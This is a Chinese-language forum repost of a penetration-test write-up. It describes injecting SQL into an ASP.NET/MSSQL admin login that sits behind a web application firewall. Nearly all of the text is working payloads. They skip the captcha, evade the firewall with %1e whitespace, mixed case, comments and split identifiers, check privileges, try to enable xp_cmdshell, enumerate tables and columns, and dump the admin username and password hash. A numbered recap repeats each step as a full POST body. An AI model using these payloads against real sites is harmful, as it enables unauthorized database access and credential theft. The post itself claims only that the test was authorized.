標題:記一次實戰MSSQL注入繞過WAF

taibeihacker

Moderator
本次測試為授權測試。注入點在後台登陸的用戶名處
1049983-20220119230323513-1792880900.png

存在驗證碼,可通過刪除Cookie和驗證碼字段繞過驗證
1049983-20220119230324012-211512998.png
1049983-20220119230324458-401317242.png

添加一個單引號,報錯
1049983-20220119230325019-891661708.png

and '1'='1
連接重置——被WAF攔截
1049983-20220119230325526-1849947822.png

改變大小寫並將空格替換為MSSQL空白符[0x00-0x20]
%1eaNd%1e'1'='1
1049983-20220119230326046-384574200.png

查詢數據庫版本,MSSQL 2012 x64
%1eoR%1e1=@@version%1e--
1049983-20220119230326573-700972169.png

查詢當前用戶
%1eoR%1e1=user%1e--
1049983-20220119230327082-370238786.png

查詢當前用戶是否為dba和db_owner
;if(0=(SelEct%1eis_srvrolemember('sysadmin'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --
;if(0=(SelEct%1eis_srvrolemember('db_owner'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --
均出現延時,當前用戶既不是dba也不是db_owner
1049983-20220119230327604-2105801106.png

嘗試執行xp_cmdsehll,沒有相關權限
;eXeC%1esp_configure%1e'show advanced options',1;RECONFIGURE%1e --
;eXeC%1esp_configure%1e'xp_cmdshell',1;RECONFIGURE%1e --
1049983-20220119230328132-520648582.png
1049983-20220119230328579-1752454191.png

查詢當前數據庫,連接重置——被WAF攔截
%1eoR%1e1=(db_name()%1e)%1e--
1049983-20220119230329110-639809469.png

去掉函數名的一個字符則正常返回——WAF過濾了函數db_name()。 MSSQL和MSQL有一些相同的特性,比如:函數名和括號之前可用註釋或空白符填充
%1eoR%1e1=(db_name/**/()%1e)%1e--
1049983-20220119230329676-1494737359.png
1049983-20220119230330157-1707607635.png

查詢當前數據庫的表,連接重置——被WAF攔截
%1eoR%1e1=(SelEct%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--
1049983-20220119230330645-644931403.png

刪除select後面的語句,返回正常。在IIS+ASPX的環境裡,如果同時提交多個同名參數,則服務端接收的參數的值為用逗號連接的多個值,在實際應用中可藉助註釋符註釋掉逗號
%1eoR%1e1=(SelEct/*username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--
依然被攔截
1049983-20220119230331164-1008694086.png

刪除infOrmatiOn_sChema.tAbles的一個字符則返回正常——WAF過濾了infOrmatiOn_sChema.tAbles。以前在學習MYSQL注入時看到官方文檔有這樣一句話:'The qualifier character is a separate token and need not be contiguous with the associated identifiers.' 可知限定符(例如'.')左右可插入空白符,而經過測試MSSQL具有相同的特性。 infOrmatiOn_sChema.tAbles - infOrmatiOn_sChema%0f.%0ftAbles
%1eoR%1e1=(SelEct/*username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema%0f.%0ftAbles%1e)%1e--
1049983-20220119230331689-857136990.png

可通過not in('table_1','table_2'.)的方式遍歷表名
1049983-20220119230332232-445750851.png

手工注入使用這種方法太慢,一次性查詢所有表名
%1eoR%1e1=(SelEct/*username=*/%1equotename(name)%1efRom bak_ptfl%0f.sysobjects%1ewHerE%1extype='U' FOR XML PATH(''))%1e--
1049983-20220119230332834-614520212.png

根據表名判斷管理員表應該為appsadmin,一次性查詢該表的所有列
%1eoR%1e1=(SelEct/*username=*/%1equotename/**/(name)%1efRom bak_ptfl%0f.syscolumns%1ewHerE%1eid=(selEct/*username=*/%1eid%1efrom%1ebak_ptfl%0f.sysobjects%1ewHerE%1ename='appsadmin')%1efoR%1eXML%1ePATH/**/(''))%1e--password=admin
1049983-20220119230333363-1730830597.png

獲得管理員用戶名和密碼字段:AdminName、Password。查詢用戶名和密碼
%1eoR%1e1=(SelEct/*username=*/%1etOp%1e1%1eAdminName%1efRom%1eappsadmin%1e)%1e--
%1eoR%1e1=(SelEct/*username=*/%1etOp%1e1%1epassword%1efRom%1eappsadmin)%1e--
1049983-20220119230333895-1353679920.png
1049983-20220119230334443-1048969040.png

解密後成功登陸後台
1049983-20220119230334904-1083242178.png

总结​

1.對目標站點進行bp抓包,發現目標系統存在驗證碼
2.在請求的數據包中將cookie的參數和值刪除以及刪除掉驗證碼參數和值。
3.再次進行請求,發現沒有提示驗證碼錯誤的信息
4.請求的post數據包中的username處加入單引號報錯
username=amdin'password=admin
5.測試and '1'='1,無法顯示,則目標系統存在WAF
username=amdin' and '1'='1password=admin
6.改變and關鍵字大小寫,空格用mssql空白符([0x00-0x20])也就是%1e替換。可看到正常回顯內容
username=amdin'%1eaNd%1e'1'='1password=admin
7.查詢數據庫版本
username=amdin'%1eoR%1e1=@@version%1e--password=admin
8、查詢當前用戶
username=amdin'%1eoR%1e1=user%1e--password=admin
9.查詢當前用戶是否為dba和db_owner,均出現延時,當前用戶既不是dba也不是db_owner
username=amdin';if(0=(SelEct%1eis_srvrolemember('sysadmin'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --password=admin
username=amdin';if(0=(SelEct%1eis_srvrolemember('db_owner'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --password=admin
10.嘗試執行xp_cmdsehll,沒有相關權限,提示xp_cmdshell不存在
username=amdin';eXeC%1esp_configure%1e'show advanced options',1;RECONFIGURE%1e --password=admin
username=amdin';eXeC%1esp_configure%1e'xp_cmdshell',1;RECONFIGURE%1e --password=admin
11.查詢當前數據庫名,連接重置——被WAF攔截
username=amdin'%1eoR%1e1=(db_name()%1e)%1e--password=admin
12.waf那麼可能攔截了db_name()函數,這裡可以通過函數名和括號之前可用註釋/**/或空白符填充,成功獲取當前數據庫名
username=amdin'%1eoR%1e1=(db_name/**/()%1e)%1e--password=admin
13.獲取當前數據庫表,連接重置——被WAF攔截
username=amdin'%1eoR%1e1=(SelEct%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--password=admin
14.刪除select後面的語句,返回正常。在IIS+ASPX的環境裡,如果同時提交多個同名參數,則服務端接收的參數的值為用逗號連接的多個值,在實際應用中可藉助註釋符註釋掉逗號,依然被WAF攔截
username=amdin'%1eoR%1e1=(SelEct/*username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--password=admin
15.刪除infOrmatiOn_sChema.tAbles的一個字符則返回正常——WAF過濾了infOrmatiOn_sChema.tAbles。以前在學習MYSQL注入時看到官方文檔有這樣一句話:'The qualifier character is a separate token and need not be contiguous with the associated identifiers.' 可知限定符(例如'.')左右可插入空白符,而經過測試MSSQL具有相同的特性。 infOrmatiOn_sChema.tAbles - infOrmatiOn_sChema%0f.%0ftAbles,成功獲取表名
username=amdin'%1eoR%1e1=(SelEct/*username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema%0f.%0ftAbles%1e)%1e--password=admin
16.一次性查詢所有表名
username=amdin'%1eoR%1e1=(SelEct/*username=*/%1equotename(name)%1efRom bak_ptfl%0f.sysobjects%1ewHerE%1extype='U' FOR XML PATH(''))%1e--password=admin
17.根據表名判斷管理員表應該為appsadmin,一次性查詢該表的所有列
username=amdin'%1eoR%1e1=(SelEct/*username=*/%1equotename/**/(name)%1efRom bak_ptfl%0f.syscolumns%1ewHerE%1eid=(selEct/*username=*/%1eid%1efrom%1ebak_ptfl%0f.sysobjects%1ewHerE%1ename='appsadmin')%1efoR%1eXML%1ePATH/**/(''))%1e--password=admin
18.獲得管理員用戶名和密碼字段:AdminName、Password。查詢用戶名和密碼
username=amdin'%1eoR%1e1=(SelEct/*username=*/%1etOp%1e1%1eAdminName%1efRom%1eappsadmin%1e)%1e--password=admin
username=amdin'
%1eoR%1e1=(SelEct/*username=*/%1etOp%1e1%1epassword%1efRom%1eappsadmin)%1e--password=admin
20.解密用戶名的密碼hash值,成功登陸後台
原文鏈接:https://xz.aliyun.com/t/7487
 
返回
上方